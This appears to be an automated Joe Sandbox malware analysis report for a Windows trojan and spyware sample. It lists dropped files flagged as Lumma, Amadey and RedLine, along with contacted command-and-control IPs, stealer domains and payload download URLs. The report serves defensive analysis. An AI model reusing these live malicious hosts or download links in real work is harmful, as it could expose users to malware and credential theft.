C:\Users\user\AppData\Local\Temp\370821\Sale.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	55%	ReversingLabs	Win32.Ransomware.LummaC
C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	79%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	92%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.RedLineStealz

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	172.67.209.202	true	false	high
s3-w.us-east-1.amazonaws.com	3.5.29.203	true	false	high
fannleadyn.click	104.21.63.229	true	true	unknown
bitbucket.org	185.166.143.48	true	false	high
steamcommunity.com	104.121.10.34	true	false	high
plus.l.google.com	142.250.181.78	true	false	high
play.google.com	172.217.19.238	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
www.google.com	172.217.21.36	true	false	high
home.twentytk20ht.top	185.121.15.192	true	false	high
twentytk20ht.top	185.121.15.192	true	false	high
httpbin.org	34.226.108.155	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high
wcCUGXykADNzZuDCbIFIvizjQpm.wcCUGXykADNzZuDCbIFIvizjQpm	unknown	unknown	true	unknown
necklacebudi.lat	unknown	unknown	false	high
sustainskelet.lat	unknown	unknown	false	high
crosshuaht.lat	unknown	unknown	false	high
rapeflowwj.lat	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
aspecteirs.lat	unknown	unknown	false	high
energyaffai.lat	unknown	unknown	false	high
discokeyus.lat	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
fannleadyn.click	true
aspecteirs.lat	true
https://steamcommunity.com/profiles/76561199724331900	true
energyaffai.lat	true
https://lev-tolstoi.com/api	true
147.45.44.224:1912	true
http://31.41.244.11/files/unique1/random.exe	false
grannyejh.lat	true
necklacebudi.lat	true
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true
http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp	true
crosshuaht.lat	true

URLs from Memory and Binaries

Name	Source	Malicious
http://185.215.113.206/68b591d6548ec281/2a8fc546179b7892afd351089f11c13	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008A5000.00000040.00000001.01000000.00000011.sdmp	false
https://duckduckgo.com/chrome_newtab	legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.209/Fru7Nk9/index.phpncoded	defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	false
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false
http://185.156.73.23/E	ba327bb7fd.exe, 0000002A.00000003.3843606989.0000000005578000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002A.00000003.3721931086.0000000005578000.00000004.00000020.00020000.00000000.sdmp	false
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/api4.Y	legs.exe, 0000000C.00000003.2132984791.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	false
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206oaming	24adfe999c.exe, 0000001F.00000002.3895043155.0000000000874000.00000040.00000001.01000000.00000011.sdmp	false
http://185.156.73.23/2	ba327bb7fd.exe, 0000002A.00000003.3843606989.0000000005578000.00000004.00000020.00020000.00000000.sdmp	false
https://135.181.65.216	daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	true
http://185.215.113.209/Fru7Nk9/index.php1	defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	false
http://www.valvesoftware.com/legal.htm	goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.209/Fru7Nk9/index.php2a2	defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	false
https://fannleadyn.click:443/apio	Sale.com, 0000001B.00000002.3910867486.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.209/Fru7Nk9/index.phpy1mb3JtLXVybGVuY29kZWQ=	defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/nativeaot-compatibility	I0XmI2t.exe, 0000002D.00000002.3808276534.00007FF6DBE61000.00000004.00000001.01000000.00000018.sdmp	false
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 00000030.00000002.3691717709.00000143B542D000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/nss3.dll	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	false
https://lev-tolstoi.com/api$	goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false
https://aui-cdn.atlassian.com/	axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2054452488.0000000001085000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phper	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/hpser	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000030.00000002.3551855195.00000143A53C1000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66E	goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	false
https://api.ip.sb/ip	I0XmI2t.exe, 0000002D.00000002.3802638122.000002B50DD4E000.00000004.00001000.00020000.00000000.sdmp, I0XmI2t.exe, 0000002D.00000002.3802638122.000002B50DCD6000.00000004.00001000.00020000.00000000.sdmp	false
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	false
http://site.com/folder/exe.eV	defnur.exe, 00000021.00000002.3894904425.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000030.00000002.3551855195.00000143A55E9000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000030.00000002.3551855195.00000143A55E9000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/2a8fc546179b7892afd351089f11c13ny	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	false
https://contoso.com/Icon	powershell.exe, 00000030.00000002.3691717709.00000143B542D000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	false
http://www.autoitscript.com/autoit3/X	SurveillanceWalls.exe, 00000010.00000002.2115831476.0000000000420000.00000004.00000001.01000000.0000000E.sdmp, Sale.com, 0000001B.00000002.3895273223.0000000000C75000.00000002.00000001.01000000.00000010.sdmp, Ejaculation.16.dr	false
http://ocsp.rootca1.amazontrust.com0:	legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/profiles/76561199724331900/inventory/	goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
http://185.156.73.23/y	ba327bb7fd.exe, 0000002A.00000003.3843606989.0000000005578000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002A.00000003.3721931086.0000000005578000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000030.00000002.3551855195.00000143A55E9000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.	goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.209/	defnur.exe, 00000021.00000002.3894904425.00000000006B3000.00000004.00000020.00020000.00000000.sdmp, defnur.exe, 00000021.00000002.3894904425.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	false
http://185.156.73.23/files/downloadata	ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	false
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000030.00000002.3551855195.00000143A55E9000.00000004.00000800.00020000.00000000.sdmp	false
https://aka.ms/nativeaot-compatibilityY	I0XmI2t.exe, 0000002D.00000002.3810485257.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000000.2915657312.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp	false
https://cdn.cookielaw.org/	axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2054452488.0000000001085000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	legs.exe, 0000000C.00000003.2070257303.0000000002EE7000.00000004.00000800.00020000.00000000.sdmp	false
https://pancakedipyps.click/api%	legs.exe, 0000000C.00000003.2125774812.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2157017126.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000002.2291392149.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2229179882.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2202751543.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2142051380.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/82	legs.exe, 0000000C.00000003.2202857672.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2229288180.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpSystem	24adfe999c.exe, 0000001F.00000002.3895043155.0000000000957000.00000040.00000001.01000000.00000011.sdmp	false
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	false
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllvineCdm	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	false
http://ocsp.sectigo.com0	legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	false
https://help.steampowered.com/en/	goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
http://185.156.73.23/osoft	ba327bb7fd.exe, 0000002C.00000003.3844130984.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206ocal	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	false
https://135.181.65.216/	daw21.exe, 00000017.00000002.3041283471.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	false
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpr	24adfe999c.exe, 0000001F.00000002.3895043155.0000000000874000.00000040.00000001.01000000.00000011.sdmp	false
https://github.com/dotnet/runtime	I0XmI2t.exe, 0000002D.00000002.3810485257.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000000.2915657312.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t[1].exe.41.dr	false
http://185.215.113.206/68b591d6548ec281/softokn3.dllta	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008BC000.00000040.00000001.01000000.00000011.sdmp	false
https://aka.ms/dotnet-warnings/	I0XmI2t.exe, 0000002D.00000002.3808276534.00007FF6DBE61000.00000004.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000002.3810485257.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000000.2915657312.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp	false
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	legs.exe, 0000000C.00000003.2068291802.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.0000000001756000.00000004.00000800.00020000.00000000.sdmp	false
https://135.181.65.216/o8	daw21.exe, 00000017.00000002.3041283471.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/mozglue.dll	24adfe999c.exe, 0000001F.00000002.3895043155.00000000008A5000.00000040.00000001.01000000.00000011.sdmp	false
http://185.156.73.23/	ba327bb7fd.exe, 0000002C.00000003.3759673627.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3565791326.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3844130984.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3723694059.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3641905979.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3687806338.00000000010D7000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002C.00000003.3806507628.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/workshop/	goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	Sale.com, 0000001B.00000003.3799080975.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/legal/	goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125705208.0000000001582000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.121.15.192	home.twentytk20ht.top	Spain	207046	REDSERVICIOES	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.121.10.34	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
34.226.108.155	httpbin.org	United States	14618	AMAZON-AESUS	false
172.67.209.202	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
185.166.143.48	bitbucket.org	Germany	16509	AMAZON-02US	false
135.181.65.216	unknown	Germany	24940	HETZNER-ASDE	true
185.215.113.209	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.156.73.23	unknown	Russian Federation	48817	RELDAS-NETRU	true
3.5.29.203	s3-w.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	false
104.21.63.229	fannleadyn.click	United States	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579966
Start date and time:	2024-12-23 17:14:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fkawMJ7FH8.exe renamed because original name is a hash value
Original Sample Name:	f6dda666a364b3ebd7628cbad0601cb8.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/100@33/16
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
